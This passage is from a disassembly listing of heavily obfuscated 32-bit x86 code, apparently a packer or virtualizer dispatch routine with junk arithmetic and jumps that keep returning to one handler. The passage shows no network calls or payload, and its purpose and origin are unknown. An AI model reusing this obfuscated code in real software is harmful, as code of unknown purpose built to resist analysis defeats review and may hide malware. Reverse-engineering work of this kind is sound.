		and	eax, ecx
		jmp	loc_592F6F
; ---------------------------------------------------------------------------


loc_58F01E:				; CODE XREF: sub_58A891+E188j
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F027:				; CODE XREF: sub_58A891+9261j
		mov	ebx, 1D3F15F9h
		xor	ebx, edx
		pop	edx
		add	eax, ebx
		jmp	loc_591E29
; ---------------------------------------------------------------------------


loc_58F036:				; CODE XREF: sub_58A891+A3A5j
		inc	ebx
		js	loc_59038E
		jmp	loc_599CEF
; ---------------------------------------------------------------------------


loc_58F042:				; CODE XREF: sub_58A891+8ABFj
		pop	esi
		add	[esp+30h+var_2C], ecx
		push	ecx
		mov	ecx, 4E962EFDh
		sub	[esp+34h+var_2C], ecx
		pop	ecx
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_593024
; ---------------------------------------------------------------------------


loc_58F05D:				; CODE XREF: sub_58A891+878Ej
		add	eax, 54AF75C9h
		sub	eax, 67FE51F4h
		mov	ecx, [esp+2Ch+var_2C]
		add	esp, 4
		sub	eax, 1C8E08A4h
		sub	eax, ebx
		sub	esp, 4
		jmp	loc_599971
; ---------------------------------------------------------------------------


loc_58F07C:				; CODE XREF: sub_58A891+A2A1j
		mov	[esp+2Ch+var_2C], eax
		jmp	loc_595247
; ---------------------------------------------------------------------------


loc_58F084:				; CODE XREF: sub_58A891+8648j
					; sub_58A891+AB46j
		inc	ebp
		push	edi
		mov	edi, 75504Ch
		sub	edi, 5B156637h
		sub	edi, 6D57447Eh
		jmp	loc_598C1E
; ---------------------------------------------------------------------------


loc_58F09C:				; CODE XREF: sub_58A891+BE2Bj
		mov	eax, 27385BF9h
		or	eax, 3C035A64h
		jmp	loc_593CDD
; ---------------------------------------------------------------------------


loc_58F0AB:				; CODE XREF: sub_58A891+5B03j
		sub	ecx, 1C322CA0h
		jmp	loc_594DD5
; ---------------------------------------------------------------------------


loc_58F0B6:				; CODE XREF: sub_58A891+B148j
		and	dh, 0A5h
		neg	dh
		jmp	loc_59019D
; ---------------------------------------------------------------------------


loc_58F0C0:				; CODE XREF: sub_58A891+6B21j
		add	ecx, 933C53C3h
		or	ebx, ecx
		jmp	loc_599B70
; ---------------------------------------------------------------------------


loc_58F0CD:				; CODE XREF: sub_58A891+6968j
		sub	ah, 6Dh
		jmp	loc_598810
; ---------------------------------------------------------------------------


loc_58F0D5:				; CODE XREF: sub_58A891+E768j
		mov	bl, 71h
		not	bl
		jmp	loc_59A24B
; ---------------------------------------------------------------------------


loc_58F0DE:				; CODE XREF: sub_58A891+6EB8j
		mov	[esp+30h+var_30], edx
		mov	edx, 23D274Bh
		sub	edx, 3A561483h
		push	eax
		mov	eax, 1D505439h
		jmp	loc_59612D
; ---------------------------------------------------------------------------


loc_58F0F7:				; CODE XREF: sub_58A891+E49Ej
		and	al, 0B2h
		jo	loc_5940B6
		add	al, 0F1h
		sub	bl, al
		pop	eax
		jmp	loc_592A6B
; ---------------------------------------------------------------------------


loc_58F109:				; CODE XREF: sub_58A891+E043j
		add	edx, 42476B71h
		jmp	loc_599A3B
; ---------------------------------------------------------------------------


loc_58F114:				; CODE XREF: sub_58A891+A53Fj
		mov	dl, 21h
		jmp	loc_591513
; ---------------------------------------------------------------------------


loc_58F11B:				; CODE XREF: sub_58A891+C0BDj
		xor	al, cl
		pop	ecx
		jmp	loc_591037
; ---------------------------------------------------------------------------


loc_58F123:				; CODE XREF: sub_58A891+870Cj
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		pop	esp
		mov	[esp+24h+var_24], ecx
		jmp	loc_595DCD
; ---------------------------------------------------------------------------


loc_58F13D:				; CODE XREF: sub_58A891+B20Bj
		mov	esi, esp
		push	4764h
		jmp	loc_5972B6
; ---------------------------------------------------------------------------


loc_58F149:				; CODE XREF: sub_58A891+45F0j
		jmp	loc_59B602
; ---------------------------------------------------------------------------


loc_58F14E:				; DATA XREF: sub_58A891+3AABo
		mov	eax, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		jmp	loc_591744
; ---------------------------------------------------------------------------


loc_58F159:				; CODE XREF: sub_58A891+DB70j
		jmp	loc_58E524
; ---------------------------------------------------------------------------


loc_58F15E:				; CODE XREF: sub_58A891+55C5j
					; sub_58A891+CB48j
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F166:				; CODE XREF: sub_58A891+6062j
		jmp	loc_594F0A
; ---------------------------------------------------------------------------


loc_58F16B:				; CODE XREF: sub_58A891+6E7Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5931FF
; ---------------------------------------------------------------------------


loc_58F179:				; CODE XREF: sub_58A891+7EB2j
		mov	ecx, 2DD8653Ch
		mov	esi, 5591A92h
		add	esi, ecx
		pop	ecx
		sub	esi, 18630910h
		shr	esi, 1
		jmp	loc_58F4F5
; ---------------------------------------------------------------------------


loc_58F193:				; CODE XREF: sub_58A891+7D89j
		push	6B1h
		mov	[esp+16h+var_18+2], ecx
		mov	ch, 8Eh
		sub	ch, 0F0h
		neg	ch
		shr	ch, 3
		push	bx
		mov	bl, 0D8h
		sub	ch, bl
		jmp	loc_592872
; ---------------------------------------------------------------------------


loc_58F1B0:				; CODE XREF: sub_58A891+8909j
		dec	esi
		jz	loc_595FCE
		dec	esi
		jmp	loc_591D6B
; ---------------------------------------------------------------------------


loc_58F1BD:				; CODE XREF: sub_58A891+57A0j
		push	[esp+18h+var_18]
		pop	ebx
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_596144
; ---------------------------------------------------------------------------


loc_58F1CA:				; CODE XREF: sub_58A891+8379j
		sub	esp, 2
		mov	word ptr [esp+24h+var_24], dx
		mov	dh, 0F2h
		add	al, dh
		jmp	loc_5947AB
; ---------------------------------------------------------------------------


loc_58F1DD:				; CODE XREF: sub_58A891+B220j
		and	ebp, 3F502937h
		add	ebp, 480928A1h
		jmp	loc_593AA4
; ---------------------------------------------------------------------------


loc_58F1EE:				; CODE XREF: sub_58A891+6DE8j
		sub	al, cl
		jmp	loc_596C66
; ---------------------------------------------------------------------------


loc_58F1F5:				; CODE XREF: sub_58A891+D155j
		mov	esp, [esp+24h+var_24]
		add	[esp+24h+var_24], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F201:				; CODE XREF: sub_58A891+D725j
		add	ebx, ebp
		pop	ebp
		xor	ebp, ebx
		jmp	loc_590229
; ---------------------------------------------------------------------------


loc_58F20B:				; CODE XREF: sub_58A891+F180j
		push	eax
		jmp	loc_59119F
; ---------------------------------------------------------------------------


loc_58F211:				; CODE XREF: sub_58A891+8E18j
		sub	ebp, 782A1097h
		add	ebp, eax
		jmp	loc_58FAB2
; ---------------------------------------------------------------------------


loc_58F21E:				; CODE XREF: sub_58A891+4A4Fj
					; sub_58A891+BC9Bj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_59317C
; ---------------------------------------------------------------------------


loc_58F22C:				; CODE XREF: sub_58A891+C589j
		sub	esi, 6F7229DBh
		pop	ecx
		xchg	esi, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		mov	fs:[edx], ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F242:				; CODE XREF: sub_58A891+79FAj
		push	5B13h
		mov	[esp+28h+var_28], ecx
		push	esp
		mov	ecx, [esp+2Ch+var_2C]
		jmp	loc_59389D
; ---------------------------------------------------------------------------


loc_58F253:				; CODE XREF: sub_58A891+90A5j
		mov	edx, 1000000h
		mov	ecx, edx
		jmp	loc_58F016
; ---------------------------------------------------------------------------


loc_58F25F:				; CODE XREF: sub_58A891+817Cj
		add	[esp+2Ch+var_2C], 4
		mov	ebp, [esp+2Ch+var_2C]
		jmp	loc_592434
; ---------------------------------------------------------------------------


loc_58F26E:				; CODE XREF: sub_58A891+9921j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F273:				; CODE XREF: sub_58A891+BA14j
		sub	esi, ecx
		pop	ecx
		push	esi
		sub	[esp+2Ch+var_2C], 6C5F06D2h
		pop	edi
		add	edi, 6C5F06D2h
		push	[esp+28h+var_28]
		pop	esi
		jmp	loc_59AC3B
; ---------------------------------------------------------------------------


loc_58F28E:				; CODE XREF: sub_58A891+10C25j
		mov	ebp, [esp+28h+var_28]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_593AF7
; ---------------------------------------------------------------------------


loc_58F299:				; CODE XREF: sub_58A891+6201j
		shl	esi, 4
		shl	esi, 8
		add	esi, 60AA25C6h
		jmp	loc_5919C7
; ---------------------------------------------------------------------------


loc_58F2AA:				; CODE XREF: sub_58A891+766Dj
		pop	ecx
		xor	ebx, [esp+28h+var_28]
		jmp	loc_596A9C
; ---------------------------------------------------------------------------


loc_58F2B3:				; CODE XREF: sub_58A891+E30Bj
		mov	edx, 150D415Eh
		and	edx, 5ED62D22h
		jnb	loc_599850
		not	edx
		sub	edx, 0E190FBA4h
		mov	ebx, edx


loc_58F2CE:				; CODE XREF: sub_58A891+D7CFj
		and	ebp, 44667684h
		jnz	loc_590836
		xor	ebp, 3BFC4CB3h
		jmp	loc_58F21E
; ---------------------------------------------------------------------------
		dec	ebp
		push	esp


loc_58F2E7:				; CODE XREF: sub_58A891+10B91j
		xor	edx, 1B93A324h
		add	ebx, 460F0C31h
		add	ebx, edx
		push	edx
		mov	edx, 45572C5Bh
		jmp	loc_5923B6
; ---------------------------------------------------------------------------


loc_58F300:				; CODE XREF: sub_58A891:loc_591B7Aj
		sub	edx, 4FFF77FEh
		mov	eax, edx
		jmp	loc_59816C
; ---------------------------------------------------------------------------


loc_58F30D:				; CODE XREF: sub_58A891+AB10j
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+30h+var_30]
		jmp	loc_599C2A
; ---------------------------------------------------------------------------


loc_58F325:				; CODE XREF: sub_58A891+B685j
		xor	ecx, [esp+30h+var_30]
		jmp	loc_59B4BB
; ---------------------------------------------------------------------------


loc_58F32D:				; CODE XREF: sub_58A891+D8C4j
		sub	ecx, edi
		pop	edi
		push	edx
		push	esp
		mov	edx, [esp+34h+var_34]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		mov	[esp+30h+var_30], ecx
		push	[esp+30h+var_2C]
		pop	ecx
		pop	[esp+30h+var_30]
		jmp	loc_593D73
; ---------------------------------------------------------------------------


loc_58F35D:				; CODE XREF: sub_58A891+105C4j
		sub	edi, 4
		xchg	edi, [esp+2Ch+var_2C]
		pop	esp
		mov	[esp+28h+var_28], esi
		push	7D8Ah
		jmp	loc_5928D2
; ---------------------------------------------------------------------------


loc_58F374:				; CODE XREF: sub_58A891+F607j
		jnp	loc_594E11
		or	eax, 719310BFh
		jmp	loc_593CBC
; ---------------------------------------------------------------------------


loc_58F384:				; CODE XREF: sub_58A891+697Ej
		push	ebx
		mov	ebx, 0CA12EC81h
		jmp	loc_596A64
; ---------------------------------------------------------------------------


loc_58F38F:				; CODE XREF: sub_58A891+9D25j
		add	bl, 0ABh
		jmp	loc_59A533
; ---------------------------------------------------------------------------


loc_58F397:				; CODE XREF: sub_58A891+993Bj
		xchg	edi, [esp+30h+var_30]
		jmp	loc_59BB02
; ---------------------------------------------------------------------------


loc_58F39F:				; CODE XREF: sub_58A891+EF6Aj
		push	[esp+30h+var_2C]
		jmp	loc_5905DB
; ---------------------------------------------------------------------------


loc_58F3A8:				; CODE XREF: sub_58A891+5774j
		sub	esp, 4
		mov	[esp+38h+var_38], eax
		mov	eax, edi
		jmp	loc_59B84E
; ---------------------------------------------------------------------------


loc_58F3B5:				; CODE XREF: sub_58A891+5559j
		sub	eax, ebp
		jmp	loc_597D60
; ---------------------------------------------------------------------------


loc_58F3BC:				; CODE XREF: sub_58A891+105F2j
		pop	ecx
		xchg	edi, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], ecx
		mov	cl, 0E2h
		xor	cl, 41h
		not	cl
		shl	cl, 8
		not	cl
		shl	cl, 3
		sub	cl, 1
		push	3CAFh
		mov	[esp+34h+var_34], edx
		mov	dh, 0D2h
		or	dh, 73h
		neg	dh
		push	ecx
		mov	cl, 0E4h
		push	edx
		jmp	loc_5975DF
; ---------------------------------------------------------------------------


loc_58F3EE:				; CODE XREF: sub_58A891+8CFAj
		push	esp
		jmp	loc_595A69
; ---------------------------------------------------------------------------


loc_58F3F4:				; CODE XREF: sub_58A891+53A6j
		dec	ch
		dec	ch
		xor	ch, 12h
		not	ch
		sub	ch, 58h
		add	al, ch
		jmp	loc_59599A
; ---------------------------------------------------------------------------


loc_58F407:				; CODE XREF: sub_58A891+5FBEj
		jmp	loc_594FBB
; ---------------------------------------------------------------------------


loc_58F40C:				; CODE XREF: sub_58A891+42EEj
		xor	ecx, 1D1B50C6h
		neg	ecx
		or	ecx, 0D376A85h
		dec	ecx
		dec	ecx
		xor	ecx, 0F8DF9807h
		sub	edi, ecx
		jmp	loc_590C3E
; ---------------------------------------------------------------------------


loc_58F429:				; CODE XREF: sub_58A891+4FD0j
		push	ecx
		push	ebp
		jmp	loc_590522
; ---------------------------------------------------------------------------


loc_58F430:				; CODE XREF: sub_58A891+A893j
		push	esp
		mov	ebp, [esp+54h+var_54]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58FF37
; ---------------------------------------------------------------------------


loc_58F445:				; CODE XREF: sub_58A891+C0D7j
					; sub_58A891+E4A6j
		xor	ebp, edi
		pop	edi
		add	edx, ebp
		pop	ebp
		and	eax, edx
		jmp	loc_59A7D9
; ---------------------------------------------------------------------------


loc_58F452:				; CODE XREF: sub_58A891+FC5Aj
		push	[esp+48h+var_46+2]
		pop	ebx
		pop	[esp+48h+var_4A+2]
		mov	esp, [esp+44h+var_46+2]
		idiv	ecx
		jmp	loc_593741
; ---------------------------------------------------------------------------


loc_58F464:				; CODE XREF: sub_58A891+10D09j
		sub	edx, eax
		add	edx, 0E834C84h
		push	eax
		mov	eax, 2155117Ch
		add	edx, eax
		jmp	loc_599F81
; ---------------------------------------------------------------------------


loc_58F479:				; CODE XREF: sub_58A891+7838j
		not	ebp
		shl	ebp, 1
		push	ecx
		mov	ecx, 5FF159B4h
		xor	ebp, ecx
		jmp	loc_592314
; ---------------------------------------------------------------------------


loc_58F48A:				; CODE XREF: sub_58A891+F7AEj
		pop	ebp
		xchg	ebx, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		mul	cl
		jmp	loc_593F7C
; ---------------------------------------------------------------------------


loc_58F498:				; CODE XREF: sub_58A891+775Ej
					; sub_58A891+C206j
		add	edi, 4
		xchg	edi, [esp+48h+var_4A+2]
		pop	esp
		add	esp, 4
		jmp	loc_59245C
; ---------------------------------------------------------------------------


loc_58F4A7:				; CODE XREF: sub_58A891+91BAj
		sub	ebp, 4
		xchg	ebp, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], ebx
		push	esp
		pop	ebx
		jmp	loc_596C84
; ---------------------------------------------------------------------------


loc_58F4B8:				; CODE XREF: sub_58A891+9CCCj
		inc	eax
		add	eax, 54BD6B93h
		add	eax, 1800640Ch
		or	eax, 47E5767Fh
		or	eax, 2D002388h
		sub	eax, 6EF73DD4h
		xor	esi, eax
		pop	eax
		add	eax, esi
		mov	esi, [esp+38h+var_38]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Ch+var_3C]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_59407E
; ---------------------------------------------------------------------------


loc_58F4F5:				; CODE XREF: sub_58A891+48FDj
		xor	esi, 41814769h
		shl	esi, 3
		add	esi, 98CC1E54h
		add	eax, esi
		pop	esi
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		movsx	ecx, ax
		push	ebx
		sub	esp, 4
		jmp	loc_591434
; ---------------------------------------------------------------------------


loc_58F51A:				; CODE XREF: sub_58A891+B49Fj
					; sub_58A891+D0BDj
		add	[esp+12h+var_10+2], 2AB34FAh
		add	[esp+12h+var_10+2], ebx
		push	edi
		mov	edi, 2AB34FAh
		sub	[esp+16h+var_10+2], 41B0A42h
		sub	[esp+16h+var_10+2], edi
		add	[esp+16h+var_10+2], 41B0A42h
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		pop	ebx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F54F:				; CODE XREF: sub_58A891+3DCDj
		mov	esp, [esp+44h+var_46+2]
		mov	[esp+44h+var_46+2], esp
		add	[esp+44h+var_46+2], 4
		mov	ebx, [esp+44h+var_46+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp+40h+var_40]
		xor	[esp+40h+var_40], ebx
		xor	ebx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		jmp	loc_597080
; ---------------------------------------------------------------------------


loc_58F582:				; CODE XREF: sub_58A891+93EBj
		add	ebx, edx
		push	[esp+40h+var_40]
		pop	edx
		jmp	loc_59439D
; ---------------------------------------------------------------------------


loc_58F58D:				; CODE XREF: sub_58A891+B75Cj
		sub	bh, 31h
		mov	ecx, [esp+40h+var_40]
		add	esp, 4
		jmp	loc_595AF4
; ---------------------------------------------------------------------------


loc_58F59B:				; CODE XREF: sub_58A891+60FCj
		shr	edx, 7
		jnz	loc_596932
		add	edx, 6CBC6825h
		mov	edi, edx
		mov	dl, cl


loc_58F5AE:				; CODE XREF: sub_58A891+9CBCj
		sub	ebp, 0FFFFFFFFh
		push	edi
		push	ebx
		jmp	loc_597D72
; ---------------------------------------------------------------------------


loc_58F5B8:				; CODE XREF: sub_58A891+E120j
		shl	edx, 1
		jz	loc_59A517
		shl	edx, 8
		xor	edx, 1C98252Eh
		jle	loc_597846
		sub	edx, 0EB40E238h
		mov	eax, edx
		mov	edx, [esp+44h+var_46+2]
		add	esp, 4
		sub	eax, 345F95Ah
		mov	edi, eax
		pop	eax
		and	edi, 1F867761h
		shr	edi, 1
		neg	edi
		jle	loc_591779
		push	eax
		mov	eax, 769B1C92h
		sub	eax, 7557FF13h
		push	edx
		mov	ah, dh


loc_58F606:				; CODE XREF: sub_58A891+9D47j
		push	ebp
		mov	ebp, 23723092h
		add	[esp+48h+var_46+2], ebp
		pop	ebp
		push	[esp+44h+var_46+2]
		pop	eax
		push	edi
		push	esp
		mov	edi, [esp+4Ch+var_4E+2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_593FFD
; ---------------------------------------------------------------------------


loc_58F62E:				; CODE XREF: sub_58A891+B67Fj
		add	ebx, 2E9F518Ah
		jmp	loc_59BAD0
; ---------------------------------------------------------------------------


loc_58F639:				; CODE XREF: sub_58A891+D9D8j
		add	ebx, 0D2B4E693h
		or	esi, ebx
		pop	ebx
		xor	esi, 44987A60h
		sub	edi, esi
		mov	esi, [esp+4Ch+var_4E+2]
		add	esp, 4
		push	[esp+48h+var_4A+2]
		pop	edx
		add	esp, 4
		add	edi, 2
		jmp	loc_5948D7
; ---------------------------------------------------------------------------


loc_58F668:				; CODE XREF: sub_58A891+7427j
		mov	ecx, 5018561Eh
		not	ecx
		inc	ecx
		shr	ecx, 6
		shr	ecx, 3
		shl	ecx, 2
		push	ebp
		mov	ebp, 3C2E0A6Fh
		sub	ebp, 5C9105F1h
		xor	ebp, 213D34CAh
		add	ecx, ebp
		jmp	loc_59B770
; ---------------------------------------------------------------------------


loc_58F692:				; CODE XREF: sub_58A891+9A6Bj
		add	ebp, 21F55B97h
		jnp	loc_59BB31
		jmp	loc_5983B8
; ---------------------------------------------------------------------------


loc_58F6A3:				; CODE XREF: sub_58A891+C426j
		push	edi
		sub	[esp+4Ch+var_4E+2], 4532009Fh
		pop	ecx
		jmp	loc_597218
; ---------------------------------------------------------------------------


loc_58F6B1:				; CODE XREF: sub_58A891+DD7Bj
		xchg	eax, [esp+48h+var_4A+2]
		pop	esp
		and	eax, edx
		mov	edx, [esp+44h+var_46+2]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		push	eax
		mov	esi, [esp+48h+var_4A+2]
		push	edi
		push	esp
		jmp	loc_592BBE
; ---------------------------------------------------------------------------


loc_58F6D4:				; CODE XREF: sub_58A891+F338j
		pop	edi
		add	edi, 519B5484h
		mov	ecx, [esp+4Ch+var_4E+2]
		add	esp, 4
		add	[esp+48h+var_46+2], edi
		pop	edi
		jmp	loc_590823
; ---------------------------------------------------------------------------


loc_58F6EE:				; CODE XREF: sub_58A891+B3B8j
		mov	ebp, 331754B1h
		jmp	loc_599866
; ---------------------------------------------------------------------------


loc_58F6F8:				; CODE XREF: sub_58A891+AADDj
		add	ebp, edx
		add	ebp, 6C98073Dh
		push	[esp+44h+var_46+2]
		pop	edx
		add	esp, 4
		xchg	ebp, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		shr	eax, 0Ch
		xor	eax, ecx
		xchg	eax, ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	4
		pop	ebp
		jmp	loc_59ADE7
; ---------------------------------------------------------------------------


loc_58F728:				; CODE XREF: sub_58A891+FFAFj
		add	dl, 0EBh
		xor	ah, dl
		pop	edx
		push	cx
		mov	ch, 7Ah
		sub	ah, ch
		pop	cx
		jmp	loc_58FBA7
; ---------------------------------------------------------------------------


loc_58F73B:				; CODE XREF: sub_58A891+5B5Fj
		push	eax
		push	4F987654h
		jmp	loc_58FB91
; ---------------------------------------------------------------------------


loc_58F746:				; DATA XREF: sub_58A891+3BCBo
		neg	[esp+8+var_8]
		pushf
		jmp	loc_58F776
; ---------------------------------------------------------------------------


loc_58F74F:				; CODE XREF: sub_58A891+D276j
		or	ecx, 1E37799h
		not	ecx
		shl	ecx, 1
		xor	ecx, 75D34FAEh
		or	ebx, ecx
		pop	ecx
		jmp	loc_590854
; ---------------------------------------------------------------------------


loc_58F767:				; CODE XREF: sub_58A891+F18Ej
		mov	al, ch
		pop	ecx
		pop	edx
		sub	bl, al
		mov	ax, [esp+0]
		jmp	loc_595E49
; ---------------------------------------------------------------------------


loc_58F776:				; CODE XREF: sub_58A891+4EB9j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F77B:				; CODE XREF: sub_58A891+60A8j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F780:				; CODE XREF: sub_58A891+B172j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 6905223Dh
		push	ebp
		mov	ebp, 126B7861h
		jmp	loc_59B4C3
; ---------------------------------------------------------------------------


loc_58F794:				; CODE XREF: sub_58A891+E2C5j
		mov	ah, 0C1h
		push	edx
		mov	dl, 6Bh
		or	dl, 75h
		shl	dl, 4
		sub	dl, 5Eh
		xor	ah, dl
		push	[esp+1Ch+var_1C]
		pop	edx
		add	esp, 4
		neg	ah
		jmp	loc_5970B3
; ---------------------------------------------------------------------------


loc_58F7B5:				; CODE XREF: sub_58A891+92CBj
		shl	edx, 1
		push	2126h
		mov	[esp+1Ch+var_1C], ecx
		push	esi
		push	edx
		push	eax
		mov	eax, 621931C0h
		mov	edx, eax
		jmp	loc_593062
; ---------------------------------------------------------------------------


loc_58F7CE:				; CODE XREF: sub_58A891+8F46j
		xor	edx, 2C9F3E2Dh
		jmp	loc_595517
; ---------------------------------------------------------------------------


loc_58F7D9:				; CODE XREF: sub_58A891+4303j
		mov	ecx, 18447CC2h
		push	ecx
		xor	[esp+18h+var_18], 7443194Ch
		pop	eax
		xor	eax, 7443194Ch
		pop	ecx
		shl	eax, 1
		jmp	loc_590D5F
; ---------------------------------------------------------------------------


loc_58F7F4:				; CODE XREF: sub_58A891+70E7j
		mov	dh, al
		mov	bl, dh
		pop	edx
		jmp	loc_596213
; ---------------------------------------------------------------------------


loc_58F7FE:				; CODE XREF: sub_58A891+C5E4j
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	ebp
		push	edx
		jmp	loc_58FA63
; ---------------------------------------------------------------------------


loc_58F80F:				; CODE XREF: sub_58A891+9062j
		add	eax, 3C1C7E9Dh
		jmp	loc_593C05
; ---------------------------------------------------------------------------


loc_58F819:				; CODE XREF: sub_58A891+61F6j
		add	esp, 4
		pop	ecx
		sub	al, bl
		mov	ebx, [esp+8+var_8]
		push	eax
		jmp	loc_58FE3B
; ---------------------------------------------------------------------------


loc_58F82B:				; CODE XREF: sub_58A891+E757j
		add	edx, 53641416h
		mov	esi, [esp+0Ch+var_C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_59ACF8
; ---------------------------------------------------------------------------


loc_58F848:				; CODE XREF: sub_58A891+F7F6j
		xor	ecx, 91F19A7h
		push	[esp+14h+var_14]
		pop	eax
		jmp	loc_597BC8
; ---------------------------------------------------------------------------


loc_58F857:				; CODE XREF: sub_58A891+E4E5j
		jmp	loc_594F44
; ---------------------------------------------------------------------------


loc_58F85C:				; CODE XREF: sub_58A891+8A3Aj
		mov	ebx, 68937147h
		jmp	loc_58F429
; ---------------------------------------------------------------------------


loc_58F866:				; CODE XREF: sub_58A891+9E12j
		push	[esp+14h+var_10]
		pop	esi
		pop	[esp+14h+var_14]
		mov	esp, [esp+10h+var_10]
		dec	byte ptr [esp+10h+var_10]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F87A:				; CODE XREF: sub_58A891+10536j
		xor	esi, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		push	esi
		xor	[esp+14h+var_14], 1D006A53h
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	ebx
		jmp	loc_58FFE8
; ---------------------------------------------------------------------------


loc_58F899:				; CODE XREF: sub_58A891+F25Dj
		push	esi
		push	[esp+18h+var_14]
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		pop	[esp+18h+var_18]
		jmp	loc_593FEC
; ---------------------------------------------------------------------------


loc_58F8AC:				; CODE XREF: sub_58A891+51FCj
		push	esp
		pop	[esp+18h+var_18]
		add	[esp+14h+var_14], 4
		push	[esp+14h+var_14]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		push	esi
		mov	esi, 2BFE061Eh
		sub	esi, 2BFE061Ah
		add	edi, esi
		pop	esi
		xor	edi, [esp+10h+var_10]
		xor	[esp+10h+var_10], edi
		xor	edi, [esp+10h+var_10]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F8F2:				; CODE XREF: sub_58A891+5811j
		jnp	loc_59B9BA
		xor	ecx, 675E633Dh
		jmp	loc_596BB6
; ---------------------------------------------------------------------------
		pop	eax
		push	ebx


loc_58F905:				; CODE XREF: sub_58A891+54E6j
		mov	bp, 4BD6h
		add	bp, 1
		jmp	loc_597A96
; ---------------------------------------------------------------------------


loc_58F913:				; CODE XREF: sub_58A891+50BCj
		pop	ebp
		pop	edi
		sub	ebx, 76666D84h
		pop	small word ptr [eax]
		jmp	loc_5982AD
; ---------------------------------------------------------------------------


loc_58F923:				; CODE XREF: sub_58A891+9736j
		mov	ebp, [esp+2+var_4+2]
		jmp	loc_596501
; ---------------------------------------------------------------------------


loc_58F92B:				; CODE XREF: sub_58A891+D7A5j
		movzx	eax, al
		jmp	loc_593BA9
; ---------------------------------------------------------------------------


loc_58F933:				; DATA XREF: sub_58A891+3C1Bo
		pop	small word ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F93B:				; DATA XREF: sub_58A891+3A5Fo
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_58E574
; ---------------------------------------------------------------------------


loc_58F944:				; CODE XREF: sub_58A891+67D0j
		not	ebp
		jmp	loc_5963C7
; ---------------------------------------------------------------------------


loc_58F94B:				; CODE XREF: sub_58A891+95C8j
		sub	ebx, ebp
		jmp	loc_58F913
; ---------------------------------------------------------------------------


loc_58F952:				; CODE XREF: sub_58A891+96CCj
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		push	[esp+0Ch+var_8]
		jmp	loc_592657
; ---------------------------------------------------------------------------


loc_58F964:				; CODE XREF: sub_58A891+544Cj
		sub	eax, 741510ECh
		pop	esi
		add	eax, 28131C5Ah
		add	eax, edi
		sub	eax, 28131C5Ah
		mov	[eax], ebx
		pop	eax
		mov	ebx, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		xchg	ebx, [edi+20h]
		not	ebx
		xchg	ebx, [edi+20h]
		sub	dword ptr [edi+20h], 0FFFFFFFFh
		and	dword ptr [edi+20h], 0F524E30h
		add	dword ptr [edi+20h], 0FCAFF800h


loc_58F9A9:				; CODE XREF: sub_58A891+3FEAj
					; sub_58A891:loc_597F29j
		mov	ebx, [esp+8+var_8]
		jmp	loc_58FA87
; ---------------------------------------------------------------------------


loc_58F9B1:				; CODE XREF: sub_58A891+D37Dj
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	ebp
		jmp	loc_592B31
; ---------------------------------------------------------------------------


loc_58F9C2:				; CODE XREF: sub_58A891+DB22j
		xchg	eax, ebp
		push	ebp
		push	[esp+10h+var_C]
		mov	ebp, [esp+14h+var_14]
		push	ebp
